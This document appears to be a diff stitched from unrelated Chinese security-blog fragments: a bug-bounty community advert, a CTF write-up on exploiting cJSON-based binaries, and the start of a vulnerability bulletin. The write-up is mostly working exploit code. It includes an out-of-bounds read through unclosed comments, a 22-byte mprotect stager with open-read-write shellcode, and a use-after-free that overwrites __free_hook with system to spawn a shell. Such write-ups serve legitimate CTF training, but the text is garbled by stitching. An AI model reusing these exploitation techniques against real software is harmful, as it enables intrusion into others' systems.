![](https://mmbiz.qpic.cn/sz_mmbiz_png/XOPdGZ2MYOfoBOGQ5ibb02uxG7sicSjZzj3OliahJHQJuZGxunW2DWMJmWoibIBf7XPPia1ticZLkoOgTUpdlfEickdcw/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuZdnSRzZK6JYcjvhBQRJxXfs0IbCAjpOFia6pyHC3dOvlX50v1l1K7h1uX2IpXHwBTDliaMyHzc4IIA/640?wx_fmt=png&from=appmsg "")
**one more thing**
作者:红猪
来源:https://forum.butian.net/share/3692
建立了一个
src专项圈子
,内容包含**src漏洞知识库**
、**src挖掘技巧**
、**src视频教程**
等,一起学习赚赏金技巧,以及专属微信群一起挖洞
src专项圈子,内容包含**src漏洞知识库**、**src挖掘技巧**、**src视频教程**等,一起学习赚赏金技巧,以及专属微信群一起挖洞
圈子专注于更新src相关:
@@ -255,38 +229,72 @@ src专项圈子
```
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuY813zmiaXibeTuHFXd8WtJAOABrvjQvw6cnCXlwS05xyzHjx9JgU7j83aReoqqUbdpiaMX2HeudxqYg/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuaRqDOYRFjU73rIsVy2ISg41LkR0ezBlmjJY4Lwgg8mr1A5efwqe0yGE9KTQwLPJTe9zyv3wgYnhA/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuY813zmiaXibeTuHFXd8WtJAOXg868PqXyjsACp9LhuEeyfB2kTZVOt5Pz48txg7ueRUvDdeefTNKdg/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/h8P1KUHOKuZDDDv3NsbJDuSicLzBbwVDCPFgbmiaJ4ibf4LRgafQDdYodOgakdpbU1H6XfFQCL81VTudGBv2WniaDA/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "null")
![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/h8P1KUHOKuYgNUapJqQxicbYTJoohoBK32iat5p76xlsgd6bdhZsdAgtNzPEv9CEOh96qgHK3ibHHBa4kRibjQeuibw/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/h8P1KUHOKuZrY2H5J445ZKSwk8PKKN5I3DNFdtPMB7Z44ibQI2yMgiazCvjyib6YnRJPhzVg2KqfPM80VdcGT9RFA/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
图片
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuaRqDOYRFjU73rIsVy2ISg4Bd1oBmTkA5xlNwZM5fLghYeibMBttWrf57h8sU7xDyTe5udCNicuHo8w/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuYrUoo5XZpxN9Inq87ic71D6aUeMdaWrKXgYYia2On8nMA7bqWDySa8odAq1a0kkp3WFgf0Zp0Eut0A/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/h8P1KUHOKuZDDDv3NsbJDuSicLzBbwVDCPFgbmiaJ4ibf4LRgafQDdYodOgakdpbU1H6XfFQCL81VTudGBv2WniaDA/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "null")
图片
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKub5zKpgA0HmT6klBJg9IugIx3z6YtXqmOkmp18nLD3bpyy8w4daHlAWQn4HiauibfBAk0mrh2qNlY8A/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
图片![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuaRqDOYRFjU73rIsVy2ISg4KKlic4yiafWTpLdejicQe3MllEQc24ypeI3anaK7IjJDVyq1WVQN2yKBA/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
图片
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKub5zKpgA0HmT6klBJg9IugI5tZcaxhZn1icWvbgupXzkwybR5pCzxge4SKxSM5z4s9kwOmvuI3cIkQ/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
图片
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuY813zmiaXibeTuHFXd8WtJAOHgjJxnq1ibibJgVUx3LwCjZj62vygx8w6rxia1icmIWiax2YlP6S6LmlmlQ/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuY813zmiaXibeTuHFXd8WtJAOApVm8H605qOibxia5DqPHfbWD6lmcweDjGv4DLl45waD068ugw2Iv2vg/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
图片![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuY813zmiaXibeTuHFXd8WtJAOApVm8H605qOibxia5DqPHfbWD6lmcweDjGv4DLl45waD068ugw2Iv2vg/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
图片
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuY813zmiaXibeTuHFXd8WtJAOwldaSATYOh1WQpk1qz15rLxehOAn4aK7tdbSyNEuHDZpIISCtl6Q8w/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKub5zKpgA0HmT6klBJg9IugIstia27YLJFBtC5icJO6gHLLgzRDqib6upI3BsVFfLL02w6Q8jIRRp0NJA/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
图片![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuaRqDOYRFjU73rIsVy2ISg4jFsKRMMNDKbsAZhscCiagnyJScMVmFUqMtae5omlLRdu095mywWszjQ/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuYrUoo5XZpxN9Inq87ic71D6JWUFIwPbP7Au1PYLXTplb3bbFZFlaYDtXXTqPdzOO6iaFz8F7r8WUPw/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
图片![](https://mmbiz.qpic.cn/sz_mmbiz_png/h8P1KUHOKuaRqDOYRFjU73rIsVy2ISg4uGJ2SA5BhZ3UyibZvVmcP3sozQEOfVr0jftWpC3YkpDiaAicS1ib3EgXHA/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
### 考证咨询
最优惠报考
各类安全证书(NISP/CISP/CISSP/PTE/PTS/PMP/IRE等....),后台回复"
好友位"咨询。
### 交流群
关注公众号回复“**加群**”,添加Z2OBot好友,自动拉你加入**Z2O安全攻防交流群(微信群)**分享更多好东西。
![](https://mmbiz.qpic.cn/mmbiz_png/h8P1KUHOKuYMO5aHRB3TbIy3xezlTAkbFzqIRfZNnicxSC23h1UmemDu9Jq38xrleA6NyoWBu1nAj0nmE6YXEHg/640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1 "")
### 关注我们
**关注福利:**
**回复“**
**书籍****" 获取  网络安全书籍PDF教程**
**回复“**
**字典****" 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。**
**回复“漏洞库" 获取 最新漏洞POC库(**
**1.2W+****)******
**回复“资料" 获取 网络安全、渗透测试相关资料文档合集**
****
点个【 在看 】,你最好看
@@ -0,0 +1,226 @@
# 要好好的看完喔,不然会被暴力的X哟,cjson&json 二进制漏洞利用总结
闻人语默 老鑫安全 2024-12-29 10:00
![](https://mmbiz.qpic.cn/mmbiz_jpg/bkcWdoIicx2c0UrtNfEm2cOFDqtsZPHTbGBy8c2o6MutW2sXdR49hwH36PqHvCyLv3PoFKE9ZaeJ3tFpo08Z6oQ/640?wx_fmt=jpeg&from=appmsg "")
#
# 简介
**JSON(JavaScript Object Notation)**
是一种轻量级的数据交换格式,易于人阅读和编写,同时也易于机器解析和生成。它以纯文本形式存储和传输数据,广泛应用于客户端和服务器之间的数据交互。
## JSON格式
- 键/值对用冒号 :
 分隔。
- 多个键/值对之间用逗号 ,
 分隔。
- 对象和数组可以嵌套,即可以在对象中包含其他对象或数组,或者在数组中包含对象或其他数组。
## 每个格式例子
### 字符串(String)
```
{    "greeting": "Hello, World!"}
```
### 数字(Number)
```
{    "age": 25,    "height": 1.75}
```
### 布尔值(Boolean)
```
{    "isStudent": true,    "isGraduated": false}
```
### 空值(Null)
```
{    "middleName": null}
```
### 对象(Object)
```
{    "person": {        "name": "Bob",        "age": 30    }}
```
### 数组(Array)
```
json{    "fruits": ["apple", "banana", "cherry"]}
```
### 嵌套数组和对象
```
{    "company": "Tech Corp",    "established": 1999,    "isPublic": true,    "employees": [        {            "name": "Alice",            "age": 28,            "skills": ["Java", "Python"],            "address": {                "city": "New York",                "postalCode": null            }        },        {            "name": "Bob",            "age": 34,            "skills": ["JavaScript", "HTML"],            "address": {                "city": "San Francisco",                "postalCode": "94123"            }        }    ]}
```
cJSON 是一个轻量级的 C 语言库,用于高效地解析和生成 JSON 数据。它提供简单易用的 API,支持基本的 JSON 数据类型,如对象、数组、字符串、数字、布尔值和空值。cJSON 的设计注重性能和内存占用,适合嵌入式系统和资源受限的环境,能够在多种操作系统上运行,广泛用于需要 JSON 数据交互的应用中。
### 字符串(String)
## cJSON结构体
```
typedef struct cJSON{  struct cJSON *next, *prev;  struct cJSON *child;  int type;  char *valuestring;  int valueint;  double valuedouble;  char *string;} cJSON;
```
- **next**
: 指向下一个同级 JSON 对象或元素的指针。这使得 cJSON
 能够形成一个链表,从而支持 JSON 数组和对象的遍历。
- **prev**
: 指向前一个同级 JSON 对象或元素的指针。与 next
 一起,这提供了双向遍历的能力。
- **child**
: 指向当前 JSON 对象的第一个子元素的指针。对于嵌套的 JSON 对象,可以通过这个指针访问子对象或子数组。
type
 用于区分 JSON 对象的不同类型,具体值及其含义如下:
```
- 0: `false` — 表示布尔假值- 1: `true` — 表示布尔真值- 2: `null` — 表示空值- 3: `number` — 表示数值(整数或浮点数)- 4: `string` — 表示字符串- 5: `array` — 表示数组- 6: `object` — 表示对象(键值对)
```
- type
 与 string
 和 value*
 的关系
- type
 字段决定了当前 cJSON
 实例的具体类型,这直接影响 string
 和 value*
 字段的有效性。
- 只有当 type
 值为 4
 时,valuestring
 字段才有效,意味着只有在当前类型为字符串时,该字段才会被赋予实际的字符串数据。
- 只有当 type
 值为 3
 时,valueint
 或 valuedouble
 字段才有效,这表明在当前类型为数字时,这些字段将被填充有效的数值数据。
![](https://mmbiz.qpic.cn/mmbiz_png/bkcWdoIicx2d45OcnNWU2ial3fMkzvqmooAauGIFSu9DC0Ticiauiak5le95M1RvLQ1JFpEEb3wgBUicWPibXQ7OotaQg/640?wx_fmt=png&from=appmsg "")
## 序列化cJSON结构体
![](https://mmbiz.qpic.cn/mmbiz_png/bkcWdoIicx2d45OcnNWU2ial3fMkzvqmoovuh46BgYCKYEhOJV4TWCc2mJM7o6HAeGfHwibmxslQo9yrVmzpdD7RQ/640?wx_fmt=png&from=appmsg "")
# 2021 SCTF dataleak
## 程序保护
![](https://mmbiz.qpic.cn/mmbiz_png/bkcWdoIicx2d45OcnNWU2ial3fMkzvqmoozqZMGh2ibnggwkDubuHTJ5FlZ35GN8qC89JicY1OzKf58HLVw62NXIGg/640?wx_fmt=png&from=appmsg "")
## 漏洞分析
![](https://mmbiz.qpic.cn/mmbiz_png/bkcWdoIicx2d45OcnNWU2ial3fMkzvqmoooS54xCUsFM3icFfezEElZKjTPyN98zSg0tNblib3eH20Vl0FtRy0DH1g/640?wx_fmt=png&from=appmsg "")
这里初看是没有什么漏洞的,不存在溢出和连带读的情况,但是有个cJSON_minify函数 通过ida对给的libcjson文件静态分析发现
![](https://mmbiz.qpic.cn/mmbiz_png/bkcWdoIicx2d45OcnNWU2ial3fMkzvqmooD2aASZyudROiagxDGveJxkcPe0zlCeGYvLfOQFgNwgy4BzOeB1OyAbQ/640?wx_fmt=png&from=appmsg "")
将这个转化一下为
```
#include <stdint.h>#include <stdbool.h>void cJSON_Minify(char *json) {    if (!json) return;    char *jsona = json;      uint8_t *into = (uint8_t *)json;     while (*jsona) {        switch (*jsona) {            case ' ': case '\t': case '\r': case '\n':                jsona++; // Skip whitespace                break;            case '/':                if (jsona[1] == '/') {                    while (*jsona && *jsona != '\n') jsona++; // Skip single-line comment                } else if (jsona[1] == '*') {                    jsona += 2; // Skip the /*                    while (*jsona && !(*jsona == '*' && jsona[1] == '/')) {                        if (!*jsona) return; // Exit if we reach the end without closing                        jsona++; // Skip until end of comment                    }                    jsona += 2; // Skip the */                } else {                    *into++ = *jsona++; // Copy character                }                break;            case '"':                *into++ = *jsona++;                while (*jsona && *jsona != '"') {                    *into++ = *jsona++; // Copy character                    if (*(jsona - 1) == '\\') *into++ = *jsona++; // Copy escaped character                }                if (*jsona) *into++ = *jsona++; // Copy closing quote                break;            default:                *into++ = *jsona++; // Copy normal character                break;        }    }    *into = 0; // Null-terminate the new string}
```
这里存在一个注释没有对未闭合进行检测的情况,就比如如果我是/aaaaaaaaaaaaaaaaaa 但是没闭合的话 这种情况就会一直执行这个循环 也就是jsona++但是我们读入是通过 
into++ = *jsona++进行的读入 就会导致我们可以越界读到程序让我们leak的位置
![](https://mmbiz.qpic.cn/mmbiz_png/bkcWdoIicx2d45OcnNWU2ial3fMkzvqmoo6sorx6sNkkfCI2OBBSb43frLuQN6Tz4Lgr2DxNUXsyia54HlJCTXcYw/640?wx_fmt=png&from=appmsg "")
可以看到正常读入是这个样子,此时我们需要泄露的this_is_data_in_server有22字节,按照我们上面的分析如果全是注释没闭合那么,就会把this读入到xxx90的位置,rsi是我们wirite的地址,也就是读出末尾的server
![](https://mmbiz.qpic.cn/mmbiz_png/bkcWdoIicx2d45OcnNWU2ial3fMkzvqmooqNCQrq8nbW7KHt4nsWSfJlbkQBnWqia2Ff210hSQicOQ697YDV1WUkHQ/640?wx_fmt=png&from=appmsg "")
那么我们就可以通过控制注释的size 来分两次读出flag
## exp
```
#!/usr/bin/python3from pwn import *import randomimport osimport sysimport timefrom pwn import *from ctypes import *import json#--------------------setting context---------------------context.clear(arch='amd64', os='linux', log_level='debug')#context.terminal = ['tmux', 'splitw', '-h']sla = lambda data, content: mx.sendlineafter(data,content)sa = lambda data, content: mx.sendafter(data,content)sl = lambda data: mx.sendline(data)rl = lambda data: mx.recvuntil(data)re = lambda data: mx.recv(data)sa = lambda data, content: mx.sendafter(data,content)inter = lambda: mx.interactive()l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))s=lambda data: mx.send(data)log_addr=lambda data: log.success("--->"+hex(data))p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))def dbg():    gdb.attach(mx)#---------------------------------------------------------# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')filename = "./pwn"mx = process(filename)#mx = remote("0192d63fbe8f7e5f9ab5243c1c69490f.q619.dg06.ciihw.cn",43013)elf = ELF(filename)libc=elf.libc#初始化完成---------------------------------------------------------\s('aaaaaaaa/*'.ljust(0xe,'a'))sleep(0.5)s('aaaaaaaa/*'.ljust(0xe,'b')) #'this_is_dat'flag1=mx.recv(0xb)s('aaaaa/*'.ljust(0xe,'a'))sleep(0.5)s('/*'.ljust(0xe,'b')) #'this_is_dat'flag2=mx.recv(0xb)print(flag1+flag2)inter()
```
![](https://mmbiz.qpic.cn/mmbiz_png/bkcWdoIicx2d45OcnNWU2ial3fMkzvqmoo8ZDN7fsJmdNnibupxOwuQx4XOJbKUz6sDZhQibrd3J80sIrcyb6H774Q/640?wx_fmt=png&from=appmsg "")
# 2024 强网拟态 ezcode
## 程序保护
![](https://mmbiz.qpic.cn/mmbiz_png/bkcWdoIicx2d45OcnNWU2ial3fMkzvqmooAiah2o4JeTbkNKN6D8NdpLicrJibvdoWauKtxJnlwZz6LNKg8l7Ricxic0A/640?wx_fmt=png&from=appmsg "")
## 漏洞分析
![](https://mmbiz.qpic.cn/mmbiz_png/bkcWdoIicx2d45OcnNWU2ial3fMkzvqmooic1L8pQZOt2ciaMe2yIJYlUFMzgaaglHrENCvOxP0UpYeDfOibQJAwLUQ/640?wx_fmt=png&from=appmsg "")
这里有个cJSON_Parse 将JSON字符串反序列化为CJSON结构体 并且cJSON_GetObjectItemCaseSensitive(v7, "shellcode"); 取的是shellcode的值 因此我们只要
```
{"shellcode":content.hex()}
```
以这个格式就可以传输了 我们可以测试一下
可以看到我们是可以传输的:
![](https://mmbiz.qpic.cn/mmbiz_png/bkcWdoIicx2d45OcnNWU2ial3fMkzvqmooC0WAfJRMmCgJnCwF7X1nKyPLepe0ItVs1NzU5J3qt4nN5ibqciaeOKWw/640?wx_fmt=png&from=appmsg "")
但是题目限制了22字节的shellcode 并且此时的0x9998000段是没有可写权限的 因此我们要mprotect赋予权限 并且 再次read一次读入orw的shellcode
这里要设置一下
rdi要为0x9998000 rsi要为len 不变就行 rdx为7
```
shl edi,12mov ax,10mov dx,7syscall
```
rdi为
```
xor eax, eax;xor edi, edi;mov dl, 0xff;mov esi, ecx;syscall
```
但是这里是24字节,多了两字节 可以从这里优化mov dx,7 改为lea edx,[rax-3]
刚好22字节 然后就读入shellcode进行orw就可以了
orw_shellcode
```
mov rdi,rsixor rsi,rsixor rdx,rdxmov rax,2syscallxor rdi,0xcmov rsi,rdixor dl,30mov rdi,raxxor rax,raxsyscallmov rdi,1mov ax,1syscall
```
## exp
```
#!/usr/bin/python3from pwn import *import randomimport osimport sysimport timefrom pwn import *from ctypes import *import json#--------------------setting context---------------------context.clear(arch='amd64', os='linux', log_level='debug')#context.terminal = ['tmux', 'splitw', '-h']sla = lambda data, content: mx.sendlineafter(data,content)sa = lambda data, content: mx.sendafter(data,content)sl = lambda data: mx.sendline(data)rl = lambda data: mx.recvuntil(data)re = lambda data: mx.recv(data)sa = lambda data, content: mx.sendafter(data,content)inter = lambda: mx.interactive()l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))s=lambda data: mx.send(data)log_addr=lambda data: log.success("--->"+hex(data))p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))def dbg():    gdb.attach(mx)#---------------------------------------------------------# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')filename = "./vuln"mx = process(filename)#mx = remote("0192d63fbe8f7e5f9ab5243c1c69490f.q619.dg06.ciihw.cn",43013)elf = ELF(filename)libc=elf.libc#初始化完成---------------------------------------------------------\content=asm('''shl edi, 12mov ax,10lea edx,[rax-3]syscallxor eax, eax;xor edi, edi;mov dl, 0xff;mov esi, ecx;syscall''')print(len(content))payload={"shellcode":content.hex()}sl(json.dumps(payload))orw=asm('''mov rdi,rsixor rsi,rsixor rdx,rdxmov rax,2syscallxor rdi,0xcmov rsi,rdixor dl,30mov rdi,raxxor rax,raxsyscallmov rdi,1mov ax,1syscall''')payload=b'flag\x00'+b'\x00'*5+orwsl(payload)inter()
```
![](https://mmbiz.qpic.cn/mmbiz_png/bkcWdoIicx2d45OcnNWU2ial3fMkzvqmoomKrDxbuceJYKNibMYRHDcAHt5Todvpm3h3wfqbEIx8e7zvk76ofym1g/640?wx_fmt=png&from=appmsg "")
# 2024 ciscn决赛 ezheap
## 程序保护
![](https://mmbiz.qpic.cn/mmbiz_png/bkcWdoIicx2d45OcnNWU2ial3fMkzvqmoozWufuFdrvrN3Mec79GaQz0NRpLRI5ian3DvN0VGwZgFngXvtLHk2WXw/640?wx_fmt=png&from=appmsg "")
## 漏洞分析
![](https://mmbiz.qpic.cn/mmbiz_png/bkcWdoIicx2d45OcnNWU2ial3fMkzvqmooZwOm46DfbZfQIzWDbtYQYwaK23PPlicUiblD551eXPgWbQiajiaghyMT2A/640?wx_fmt=png&from=appmsg "")
从这里可以看出来是有一个取值的过程,并且是相互对应的,如果没有取出来则会进入error退出程序
而v10来源于v13经过处理函数,跟进这个函数发现:
![](https://mmbiz.qpic.cn/mmbiz_png/bkcWdoIicx2d45OcnNWU2ial3fMkzvqmooDic1ibKwaFbKOex2RFSaoibjt2YAnKlJSQvnTIdYtibRPMzl5TOdKPAlmg/640?wx_fmt=png&from=appmsg "")
存在一些json格式的特征,像null false true这种就是json格式中的布尔值,同时也有闭合{}的检测 因此可以基本确定发送的是json格式
### 交互脚本
```
def add(size,cont):    payload='{'+'"choice":"new",'+'"index":1,'+f'"length":{size},'+'"message":'+'"'    payload=payload.encode()    payload+=cont    payload+=b'"'+b'}'    sl(payload)def delete(num):    payload = f'{{"choice":"rm","index":{num},"length":32,"message":"aaa"}}'    rl("Please input:")    sl(payload)def show(num):    payload = f'{{"choice":"view","index":{num},"length":32,"message":"aaa"}}'    rl("Please input:")    sl(payload)def edit(idx,len,cont):    payload='{'+'"choice":"modify",'+f'"index":{idx},'+f'"length":{len},'+'"message":'+'"'    payload=payload.encode()    payload+=cont    payload+=b'"'+b'}'    print(payload)    sl(payload)
```
## 漏洞分析
![](https://mmbiz.qpic.cn/mmbiz_png/bkcWdoIicx2d45OcnNWU2ial3fMkzvqmoouJ26vk7zgBn2MWT7e5iaEFyV9kI7NtfHLzkU7varh1SLpJ9GApAdBsQ/640?wx_fmt=png&from=appmsg "")
没有置0 这里存在uaf漏洞 并且是2.31 存在uaf漏洞且没限制基本随便打了,这里难点就是因为是json的传输,导致泄露的时候会有一些干扰 我们要通过调试来调整传输的东西进行泄露
## exp
```
#!/usr/bin/python3from pwn import *import randomimport osimport sysimport timefrom pwn import *from ctypes import *#--------------------setting context---------------------context.clear(arch='amd64', os='linux', log_level='debug')#context.terminal = ['tmux', 'splitw', '-h']sla = lambda data, content: mx.sendlineafter(data,content)sa = lambda data, content: mx.sendafter(data,content)sl = lambda data: mx.sendline(data)rl = lambda data: mx.recvuntil(data)re = lambda data: mx.recv(data)sa = lambda data, content: mx.sendafter(data,content)inter = lambda: mx.interactive()l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))s=lambda data: mx.send(data)log_addr=lambda data: log.success("--->"+hex(data))p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))def dbg():    gdb.attach(mx)#---------------------------------------------------------# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')filename = "./pwn"mx = process(filename)#mx = remote("0192d63fbe8f7e5f9ab5243c1c69490f.q619.dg06.ciihw.cn",43013)elf = ELF(filename)libc=elf.libc#初始化完成---------------------------------------------------------\def add(size,cont):    payload='{'+'"choice":"new",'+'"index":1,'+f'"length":{size},'+'"message":'+'"'    payload=payload.encode()    payload+=cont    payload+=b'"'+b'}'    sl(payload)def delete(num):    payload = f'{{"choice":"rm","index":{num},"length":32,"message":"aaa"}}'    rl("Please input:")    sl(payload)def show(num):    payload = f'{{"choice":"view","index":{num},"length":32,"message":"aaa"}}'    rl("Please input:")    sl(payload)def edit(idx,len,cont):    payload='{'+'"choice":"modify",'+f'"index":{idx},'+f'"length":{len},'+'"message":'+'"'    payload=payload.encode()    payload+=cont    payload+=b'"'+b'}'    print(payload)    sl(payload)add(0x400,b'a') #0add(0x400,b'a') #1delete(0)for i in range(6):    edit(0,0x400,b'a'*0x10)    delete(0)dbg()delete(1)add(0x60,b'') #2edit(2,1,b'\xe0')show(2)libc_addr=l64()-0x1ecbe0log_addr(libc_addr)libc.address=libc_addrsystem=libc.sym['system']free_hook=libc.sym['__free_hook']edit(0,0x8,p64(free_hook)[:6])add(0x400,b'a;/bin/sh')#edit(2,0x10,b'/bin/sh\x00')#add(0x400,b'a')edit(4,0x8,p64(system)[:6])delete(3)inter()
```
![](https://mmbiz.qpic.cn/mmbiz_png/bkcWdoIicx2d45OcnNWU2ial3fMkzvqmooTWXV9WNQpPqG6vhyp9lic0l9LIbn6iaGIgMNfpQTfBxlLPsbaxI0EhmQ/640?wx_fmt=png&from=appmsg "")
原文l链接:https://xz.aliyun.com/t/16928
![](https://mmbiz.qpic.cn/mmbiz_png/bkcWdoIicx2c0UrtNfEm2cOFDqtsZPHTb4vfdpmicgKC9NPzZuQUTTac0FSjcwpb5nL3U8VO1U3ejarc8Gnp7RoQ/640?wx_fmt=png&from=appmsg "")
更多姿势知识星球:
![](https://mmbiz.qpic.cn/mmbiz_jpg/bkcWdoIicx2cHOlXibItr7xwSyoH6hjNOahd6XUoSb4DwhS4kPKSKiaxLIRT6ESpqLO7T0noAjoENEtEWhSodZrcQ/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
相关课程:
[【双11活动】V2024-12老鑫安全培训](https://mp.weixin.qq.com/s?__biz=MzU0NDc0NTY3OQ==&mid=2247488016&idx=1&sn=8a5fc1fa3044f8edbf833a5d11cbdbf8&scene=21#wechat_redirect)
相关活动:
[星期四吃什么,就吃KFC,随机抽取5位幸运嘉宾](https://mp.weixin.qq.com/s?__biz=MzU0NDc0NTY3OQ==&mid=2247488267&idx=1&sn=13091ad7a445f81c73f64462a139014e&scene=21#wechat_redirect)
@@ -1,5 +1,5 @@
# 赛克安全本周漏洞推送(12.22-12.27)涉及国威IP数字语音系统、黄药师、企企通、快云服务器、一卡通系统漏洞
thelostworld 2024-12-28 02:46
thelostworld 2024-12-29 15:08
免责声明请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!马赛克安全实验室情报申明(可点击查看)
![](https://mmbiz.qpic.cn/mmbiz_png/wibiaOls7McRicPjtibQUDC6OnlQyWCzfd68f5ycicia6CCgOhrqkvHfLj5ajt2SKLnWoZSh219zUS3eTcERBwhxu9Dg/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")